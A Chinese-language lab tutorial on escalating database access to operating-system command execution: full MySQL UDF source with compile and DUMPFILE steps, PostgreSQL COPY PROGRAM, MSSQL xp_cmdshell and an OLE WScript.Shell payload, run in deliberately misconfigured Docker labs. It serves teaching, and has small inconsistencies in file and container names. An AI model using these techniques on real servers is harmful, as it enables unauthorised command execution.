# SQL提权

学完了各种数据库的注入手法,接下来这篇文章我们一起学习一下什么是SQL提权

垂直提权:指从低权限身份到高权限身份,比如从普通用户到管理员

水平越权:严格来说不叫做提权,指的是用户A能够访问用户B的数据,没有变成管理员但是越过了自己的权限边界

数据库到系统权限:原本是数据库权限,通过数据库的危险功能或错误配置今日影响服务器文件系统或操作系统

# MySQL

# UDF提权

UDF提权不是“直接把MySQL用户变成root”,更准确的说是让拥有危险数据库权限的账号,把自定义.so动态库加载进mysqld进程,从而获得mysqld运行账户的系统命令执行能力

所以UDF提权通常是数据库权限到操作系统命令权限

如果mysqld是以mysql用户运行,那么命令也是以mysql用户 执行,只有在极端错误配置下,比如mysqld以root运行,才可能直接变成root。

# 本地靶场搭建

我们在本地创建文件夹,在里面存放五个文件,参考命名和结构如下:

mysql_udf_lab
├── docker-compose.yml
├── Dockerfile
├── mysqld.cnf
├── init.sql
└── udf_eval.cc

将以下内容复制进docker-compose.yml

services:
  mysql:
    build: .
    container_name: mysql-udf-lab
    ports:
      - "127.0.0.1:3308:3306"
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: appdb
    volumes:
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql:ro

这里把MySQL只绑定到127.0.0.1:3308

然后创建mysqld.cnf:

[mysqld]
secure-file-priv=
plugin-dir=/usr/lib/mysql/plugin
skip-log-bin

这里留下漏洞secure-file-priv=:表示不限制MySQL文件导入导出目录,MySQL官方文档说明,secure-file-priv用来限制LOAD DATASELECT ... INTO OUTFILELOAD_FILE()等文件操作,如果为空就不起限制作用

创建init.sql:

CREATE TABLE appdb.users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50),
    password VARCHAR(100)
);

INSERT INTO appdb.users(username, password) VALUES
('admin', 'admin123'),
('guest', 'guest123'),
('flag', 'ZLARYY{local_udf_realistic_lab}');

CREATE USER 'webapp'@'%' IDENTIFIED BY 'webpass';
GRANT SELECT, INSERT, UPDATE ON appdb.* TO 'webapp'@'%';

CREATE USER 'misconf'@'%' IDENTIFIED BY 'misconfpass';
GRANT SELECT, INSERT, UPDATE ON appdb.* TO 'misconf'@'%';

-- 故意给危险权限
GRANT FILE ON *.* TO 'misconf'@'%';
GRANT INSERT ON mysql.* TO 'misconf'@'%';

FLUSH PRIVILEGES;

创建Dockerfile:

FROM mysql:8.4

USER root

RUN printf '[mysqld]\nsecure-file-priv=\nplugin-dir=/usr/lib/mysql/plugin\nskip-log-bin\n' > /etc/mysql/conf.d/mysqld.cnf \
    && chmod 644 /etc/mysql/conf.d/mysqld.cnf \
    && mkdir -p /usr/lib/mysql/plugin \
    && chown -R mysql:mysql /usr/lib/mysql/plugin \
    && chmod 777 /usr/lib/mysql/plugin

USER mysql

启动靶场:

docker compose up -d --build

以misconf身份进入MySQL:

docker exec -it mysql-udf-real-lab mysql -umisconf -pmisconfpass

# 准备UDF动态库

在虚拟机里可以创建一个文件夹存放udf_eval.cc文件,比如:

mkdir attacker_udf
cd attacker_udf
vim udf_eval.cc

将以下内容写入udf_eval.cc:

#include <mysql.h>
#include <cstdio>
#include <cstdlib>
#include <cstring>

extern "C" {

bool sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    if (args->arg_count != 1) {
        std::strcpy(message, "sys_eval() requires exactly one argument");
        return true;
    }

    args->arg_type[0] = STRING_RESULT;

    initid->maybe_null = true;
    initid->max_length = 8192;

    initid->ptr = static_cast<char *>(std::malloc(8192));
    if (initid->ptr == nullptr) {
        std::strcpy(message, "malloc failed");
        return true;
    }

    std::memset(initid->ptr, 0, 8192);
    return false;
}

void sys_eval_deinit(UDF_INIT *initid) {
    if (initid->ptr != nullptr) {
        std::free(initid->ptr);
        initid->ptr = nullptr;
    }
}

char *sys_eval(
    UDF_INIT *initid,
    UDF_ARGS *args,
    char *result,
    unsigned long *length,
    char *is_null,
    char *error
) {
    char *buffer = initid->ptr;

    if (buffer == nullptr) {
        *error = 1;
        return nullptr;
    }

    std::memset(buffer, 0, 8192);
    *is_null = 0;
    *error = 0;

    if (args->args[0] == nullptr) {
        const char *msg = "argument is NULL";
        std::strncpy(buffer, msg, 8191);
        *length = std::strlen(buffer);
        return buffer;
    }

    unsigned long cmd_len = args->lengths[0];

    /*
     * args->args[0] 不一定是以 \0 结尾的 C 字符串,
     * 所以这里手动复制并补 \0。
     *
     * 额外追加 " 2>&1",这样可以把 stderr 也捕获回来,
     * 方便看到命令错误信息。
     */
    const char *redirect = " 2>&1";
    size_t redirect_len = std::strlen(redirect);

    char *cmd = static_cast<char *>(std::malloc(cmd_len + redirect_len + 1));
    if (cmd == nullptr) {
        const char *msg = "malloc command buffer failed";
        std::strncpy(buffer, msg, 8191);
        *length = std::strlen(buffer);
        return buffer;
    }

    std::memcpy(cmd, args->args[0], cmd_len);
    std::memcpy(cmd + cmd_len, redirect, redirect_len);
    cmd[cmd_len + redirect_len] = '\0';

    FILE *fp = popen(cmd, "r");
    std::free(cmd);

    if (fp == nullptr) {
        const char *msg = "popen failed";
        std::strncpy(buffer, msg, 8191);
        *length = std::strlen(buffer);
        return buffer;
    }

    char temp[512];
    size_t total = 0;

    while (std::fgets(temp, sizeof(temp), fp) != nullptr) {
        size_t len = std::strlen(temp);

        if (total + len >= 8191) {
            len = 8191 - total;
        }

        std::memcpy(buffer + total, temp, len);
        total += len;

        if (total >= 8191) {
            break;
        }
    }

    int status = pclose(fp);

    if (total == 0) {
        std::snprintf(buffer, 8192, "[no output], command status: %d", status);
        total = std::strlen(buffer);
    } else {
        buffer[total] = '\0';
    }

    *length = static_cast<unsigned long>(total);
    return buffer;
}

}

安装编译依赖:

sudo apt update
sudo apt install -y g++ default-libmysqlclient-dev

编译:

g++ -Wall -fPIC -shared \
  -I/usr/include/mysql \
  -o lib_udf_lab.so \
  udf_eval.cc

查看文件:

file lib_udf_lab.so

#应该类似lib_udf_lab.so: ELF 64-bit LSB shared object, x86-64

# UDF提权原理

在MySQL中存在一个错误配置账号misconf,它拥有FILEmysql.* INSERT等危险权限,并且目标环境的secure_file_priv不限制写入路径、plugin_dir可写,攻击者可以先将自己编译好的UDF动态库lib_udf_lab.so转为十六进制,然后通过select ... into dumpfile /usr/lib/mysql/plugin/lib_udf_lab.solib_udf_lab.so写入MySQL插件目录,之后我们可以通过create function sys_eval ... soname 'lib_udf_lab.so'注册自定义UDF函数,MySQL的mysqld进程加载.so动态库之后调用sys_eval()函数触发其内部的system("id")调用UDF内部的system()从而实现以mysqld进程用户身份执行系统命令

# 提权流程

在真实测试中,我们需要检查当前用户是否具备写入文件权限和secure_file_priv是否为空:

SHOW GRANTS;

GRANT FILE ON *.* TO `misconf`@`%`
# 表明misconf用户具有FILE权限,这个权限作用于所有的数据库,所有对象(*.*)

FILE权限是服务器文件读写权限,它允许select load_file('/etc/passwd');或者select 'test' into outfile '/tmp/test.txt'

在UDF提权中,这个权限用于把lib_udf_lab.so写入plugin_dir

GRANT SELECT, INSERT, UPDATE ON `appdb`.* TO `misconf`@`%`
# 表明misconf用户对appdb数据库里的所有表拥有select、insert、update权限

它可以执行select * from appdb.users;或者insert into appdb.users(username,password) values('ZLARYY','2L@yY');或者update appdb.users set password='2L4yY' where usermame='ZLARYY';

GRANT INSERT ON `mysql`.* TO `misconf`@`%`
# 表明misconf对mysql系统库里的所有表拥有insert权限

这一行权限允许create functionmysql.func中注册函数信息

所以UDF提权的核心就是拥有写入文件权限和通过create function注册函数信息

接下来需要查看plugin_dir

SELECT @@plugin_dir;

MySQL的UDF是可加载函数,本质是一个动态库,Linux下是.so,Windows下是.dll。MySQL不是从任意目录加载UDF,而是从plugin_dir指定的插件目录加载,库文件名需要对应平台动态库文件(Linux对应.so),并且函数会被加载到服务器中立即可用

所以:

CREATE FUNCTION sys_eval RETURNS INTEGER SONAME 'lib_udf_lab.so';

这句话执行之后,MySQL实际会去寻找@@plugin_dir/lib_udf_lab.so,那么对应的就是/usr/lib/mysql/plugin/lib_udf_lab.so,所以我们必须把.so写到这个目录

之后我们查看secure_file_priv

SELECT @@secure_file_priv;

secure_file_priv是MySQL用来限制文件导入导出路径的安全配置,如果secure_file_priv设置成一个非空目录,那么select ... into outfileinto dumpfile写出的文件必须位于这个目录中,所以secure_file_priv为空表示不限制写入路径

具备这些条件之后我们看到之前所说的编译动态库:

g++ -Wall -fPIC -shared \
  -I/usr/include/mysql \
  -o lib_udf_lab.so \
  udf_eval.cc

这些命令可以将udf_exec.cc源码编译成一个Linux下可被MySQL加载的动态库文件lib_udf_lab.so

g++:表示使用C++编译器

-Wall:开启编译警告,不会影响最终功能

-fPIC:(Position Independent Code)意思是生成位置无关代码,动态库.so被加载到内存时,加载地址不一定固定,所以.so里的代码需要能在不同内存地址正常运行,因此编译动态库时通常需要加上-fPIC,否则可能会出现动态库加载失败或者链接时出现relocation相关错误

-shared:表示生成共享库,也就是.so文件,如果不加-shared,编译器可能会尝试生成一个可执行程序(a.out)

-I/usr/include/mysql:表示让编译器去/usr/include/mysql目录下寻找头文件,因为UDF源码里出现了#include <mysql.h>mysql.h不是C++标准库头文件,而是MySQL提供的开发头文件,如果不加这一项可能会出现fatal error: mysql.h: No such file or directory的报错,/usr/include/mysql目录存在于Kali Linux里面

-o lib_udf_lab.so:表示指定输出文件名

udf_exec.cc:需要被编译的源代码文件,里面定义了MySQL UDF函数,比如:

long long sys_eval(...)
bool sys_eval_init(...)
void sys_eval_deinit(...)

编译后这些函数会被打包进lib_udf_lab.so,之后MySQL执行CREATE FUNCTION sys_eval RETURNS INTEGER SONAME 'lib_udf_lab.so';就会从这个.so文件里面寻找并加载sys_eval

\:Linux Shell里的换行续写符,等价于

g++ -Wall -fPIC -shared -I/usr/include/mysql -o lib_udf_lab.so udf_eval.cc

编译生成好lib_udf_lab.so之后,我们将.so转为十六进制

# 在lib_udf_lab.so文件所在位置执行:
xxd -p lib_udf_lab.so | tr -d '\n' > lib_udf_lab.hex
# 检查开头
head -c 80 lib_udf_lab.hex

其中7f454c46就是ELF文件头

为什么要转成十六进制呢?

.so是二进制文件,不能直接粘进MySQL,转成0x十六进制之后,MySQL就可以把它还原成原始二进制字节

接下来生成写入UDF的SQL命令:

echo -n "SELECT 0x" > write_udf.sql
cat lib_udf_lab.hex >> write_udf.sql
echo " INTO DUMPFILE '/usr/lib/mysql/plugin/lib_udf_lab.so';" >> write_udf.sql

# 检查SQL开头
head -c 100 write_udf.sql
# 检查SQL结尾
tail -c 120 write_udf.sql
# 结尾应该是INTO DUMPFILE '/usr/lib/mysql/plugin/lib_udf_lab.so';

可以看出write_udf.sql是一行命令,里面保存的是一个完整的SQL语句,而这个语句中间包含了整个.so文件的十六进制内容,他的作用就是将0x后面的十六进制数据转换成二进制数据然后写入/usr/lib/mysql/plugin/lib_udf_lab.so,同时为了避免换行产生的错误我们在写入时使用tr -d '\n'删除换行,让整个.so的十六进制内容连续成一行

为什么要通过写命令而不是直接上传.so呢?

在真实场景中,攻击者通常没有操作系统层面的文件上传权限,.so文件储存在本地,不能通过select load_file('/home/kali/lib_udf_lab.so')在MySQL中读取kali系统里的文件。其次就是MySQL协议的连接主要用来发送SQL语句,没有直接上传任意文件到服务器任意目录的正常功能

最后我们要执行的就是.sql里面的一行命令:

SELECT 0x7f454c460201010000000000000000000300....... INTO DUMPFILE '/usr/lib/mysql/plugin/lib_udf_lab.so';

看到Query OK,1 row affected (0.05sec),就说明写入成功,在本地可以去验证看看是否写入:

docker exec mysql-udf-real-lab ls -l /usr/lib/mysql/plugin/lib_udf_lab.so
# 查看文件是否已经被写进plugin_dir
docker exec mysql-udf-real-lab sh -c "od -An -tx1 -N4 /usr/lib/mysql/plugin/lib_udf_lab.so"
# 验证是不是正常的ELF动态库,如果是7f 45 4c 46就说明正常

接下来我们可以去试试执行注册UDF函数:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_udf_lab.so';

注册成功之后我们尝试执行:

select sys_eval('id');

可以看到成功实现了UDF命令回显,MySQL将返回结果按十六进制显示结果了,解码之后就是

uid=999(mysql) gid=999(mysql) groups=999(mysql)

这样我们就成功拿到了shell的执行权限

# PostgreSQL

# COPY PROGRAM

# 本地靶场搭建

创建目录结构:

postgres_priv_lab/
├── docker-compose.yml
└── init.sql

其中docker-compose.yml内容如下:

services:
  postgres:
    image: postgres:16
    container_name: pg-priv-lab
    ports:
      - "127.0.0.1:5433:5432"
    environment:
      POSTGRES_PASSWORD: rootpass
      POSTGRES_DB: appdb
    volumes:
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql:ro

init.sql

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    username TEXT,
    password TEXT
);

INSERT INTO users(username, password) VALUES
('admin', 'admin123'),
('guest', 'guest123'),
('flag', 'ZLARYY{local_postgres_lab_only}');

CREATE ROLE webapp LOGIN PASSWORD 'webpass';
GRANT CONNECT ON DATABASE appdb TO webapp;
GRANT USAGE ON SCHEMA public TO webapp;
GRANT SELECT, INSERT, UPDATE ON users TO webapp;

CREATE ROLE misconf LOGIN PASSWORD 'misconfpass';
GRANT CONNECT ON DATABASE appdb TO misconf;
GRANT USAGE ON SCHEMA public TO misconf;
GRANT SELECT, INSERT, UPDATE ON users TO misconf;

-- 故意错误配置:允许 misconf 执行服务器端程序
GRANT pg_execute_server_program TO misconf;

在PostgreSQL的预定义角色中,pg_execute_program允许用户通过COPY等功能以数据库服务器运行用户身份执行服务器端程序

postgres_priv_lab下执行:

docker compose up -d --force-recreate

# 查看容器,应该看到pg_priv_lab
docker ps

如果windows上安装了psql,可以执行:

psql -h 127.0.0.1 -p 5433 -U misconf -d appdb

密码:misconfpass

如果没有安装可以用docker里的客户端连接:

docker exec -it pg-priv-lab psql -U misconf -d appdb

# 提权原理

相较于UDF提权那些严格的前提条件,PostgreSQL数据库的提权只需要用户具有pg_execute_server_program身份就行

PostgreSQL中的几个危险的预定义角色

pg_read_server_file:允许读取数据库服务器能访问的文件

pg_write_server_files:允许写入数据库服务器能访问的位置

pg_execute_server_program:允许执行数据库服务器端程序

PostgreSQLCOPY本来是用来导入、导出数据的,普通用法类似:

# 把表数据写到服务器文件里
copy users to '/tmp/users.txt';

不过它存在一种危险形式:from

# 让PostgreSQL服务器端执行系统命令id,然后把id的标准输出写入cmd_output表
copy cmd_output from program 'id';

那么我们可以实现一种执行命令并查看回显的命令串:

# 创建一个临时表,这个表只在当前数据库连接会话中存在,退出psql后一般就会消失,不会长期保存在数据库里面,cmd_output是临时表的名字,这个表里面存在一个列名line,数据类型是text,用来存放文本内容
create temp table cmd_output(line text);
copy cmd_output from program 'id';
# 查询表cmd_output里面的内容
select * from cmd_output;

如果需要执行多条操作系统命令则需要先清空临时表:

TRUNCATE cmd_output;

# 然后继续执行
COPY cmd_output FROM PROGRAM 'whoami';
SELECT * FROM cmd_output;

# 提权流程

我们使用接下来的一串命令查询当前权限角色:

SELECT rolname FROM pg_roles WHERE pg_has_role(current_user, oid, 'member');

然后我们尝试执行那一串命令串:

create temp table cmd_output(line text);
copy cmd_output from program 'id';
select * from cmd_output;

可以看到成功实现了执行操作系统命令并查看返回结果

除此之外我们也可以试试COPY ... TO ... PROGRAM,它表示的是将表或查询结果作为标准输入给系统命令:

COPY (SELECT '') TO PROGRAM 'sh -c "whoami > /tmp/copy_to_who.txt 2>&1"';

这条命令就相当于让PostgreSQL执行sh -c "whoami > /tmp/copy_to_who.txt 2>&1"

虽然 COPY TO PROGRAM不会直接把命令输出显示到SQL结果中,但它确实执行了命令并把结果写到了容器里的/tmp/copy_to_id.txt,那么再次搭配上COPY FROM就可以实现查看回显了:

CREATE TEMP TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'cat /tmp/copy_to_who.txt';
SELECT * FROM cmd_output;

# MSSQL

# xp_cmdshell

学习xp_cmdshell需要我们安装SQL Server以及SSMS

https://learn.microsoft.com/zh-cn/ssms/install/install

https://www.microsoft.com/en-us/sql-server/sql-server-downloads

安装流程可以参考:[WEB安全]MSSQL/SQL Server 提权手法详解-腾讯云开发者社区-腾讯云

不过ZLARYY在安装的时候没有用序列号呢~

# xp_cmdshell提权原理

xp_cmdshell本质上是一个扩展存储过程:

exec xp_cmdshell 'id';

可以理解为SQL Server收到SQL语句之后调用xp_cmdshellSQL Server服务端创建操作系统进程执行id / whoami / dir / ls等系统命令之后把命令输出返回到SQL查询结果

# 提权过程

首先我们通过这些命令去查询当前用户:

select system_user;
select is_srvrolemember('sysadmin');

根据查询结果可以看到当前用户是sa,并且是sysadmin,那么我们就有权限开启和调用xp_cmdshell

开启xp_cmdshell

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

# 查看xp_cmdshell当前状态
exec sp_configure 'xp_cmdshell';

接下来我们就可以尝试尝试命令执行了,由于我们现在安装的是Windows本机版的SQL Server,xp_cmdshell执行命令时调用的是Windows的命令解释器,不是Linux shell,所以我们只能执行windows终端下的所有命令:

exec xp_cmdshell 'dir';

这样我们就实现了saSQL Server服务进程执行系统命令

查看当前xp_cmdshell拿到的是什么权限:

exec xp_cmdshell 'whoami';

SQL Server服务账户是谁那么xp_cmdshell执行命令时就是谁的系统权限

# OLE

OLE提权一般指MSSQL里的OLE Automation Procedures滥用,他不是一种单独的Windows漏洞,而是SQL Server提供的一组系统存储过程,如果被开启且当前SQL用户有足够权限,就可以在SQL里面创建COM对象,通过sp_OAMethod调用COM对象方法,然后WScript.Shell执行Windows命令,间接调用Windows组件完成文件操作、命令执行等行为

SQL Server支持一组OLE Automation系统存储过程,可以在T-SQL批处理中使用OLE Automation对象,默认情况下这个功能是关闭的,需要系统管理员通过sp_configure启用,启用后,sp_OACreate可以创建OLE Automation对象

常见的COM对象包括:WScript.ShellScripting.FileSystemObjectShell.Application

其中WScript.Shell经常被用来执行系统命令

OLE Automation存储过程包括sp_OACreatesp_OADestroysp_OAGetPropertysp_OAMethodsp_OASetPropertysp_OAStopsp_OAGetErrorInfo

其中sp_OACreate用于创建COM对象,sp_OAMethod用于调用对象方法,sp_OAGetProperty获取对象属性,sp_OADestroy用于销毁对象

# 提权过程

开启OLE Automation

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

# 查看是否成功开启
EXEC sp_configure 'Ole Automation Procedures';

命令执行whoami:

# 声明变量 @shell保存WScript.Shell对象的句柄,@exec保存EXEC执行后返回的对象句柄,@output保存命令输出的结果,@hr保存OLE调用的返回状态码,这里的INT不是普通数字用途,而是用来保存OLE对象的引用编号
DECLARE @shell INT;
DECLARE @exec INT;
DECLARE @output NVARCHAR(4000);
DECLARE @hr INT;

# 创建WScript.Shell对象,创建成功后把对象句柄保存到@Shell,返回状态码保存到@hr。WScript.Shell是Windows里的脚本Shell对象,可以执行系统命令
EXEC @hr = sp_OACreate 'WScript.Shell', @shell OUT;

# 判断对象是否创建失败,创建失败的话@hr!=0
IF @hr <> 0
BEGIN
    SELECT 'sp_OACreate failed' AS error, @hr AS hresult;
    RETURN;
END;

# 对@Shell代表的WScript.Shell对象调用Exec方法,执行命令cmd /c whoami,执行后返回一个Exec对象保存到@exec,返回状态码保存到@hr,其中cmd /c whoami表示启动Windows cmd.exe执行whoami,执行完后退出
EXEC @hr = sp_OAMethod @shell, 'Exec', @exec OUT, 'cmd /c whoami';

# 判断Exec是否失败,如果Exec失败就输出错误信息并且执行Exec sp_OADestroy @Shell释放前面创建的WScript.Shell对象
IF @hr <> 0
BEGIN
    SELECT 'Exec failed' AS error, @hr AS hresult;
    EXEC sp_OADestroy @shell;
    RETURN;
END;

# 读取命令的标准输出,保存到@output,StdOut.ReadAll可以理解为读取命令执行后的全部标准输出内容
EXEC @hr = sp_OAMethod @exec, 'StdOut.ReadAll', @output OUT;

# 输出结果
SELECT @output AS command_output;

# 释放OLE对象,清理资源
EXEC sp_OADestroy @exec;
EXEC sp_OADestroy @shell;

这一串payload实现了sp_OACreate创建WScript.ShellSP_OAMethod调用EXEC方法然后执行cmd /c whoami,读取StdOut.ReadAll,最后select输出结果

更新于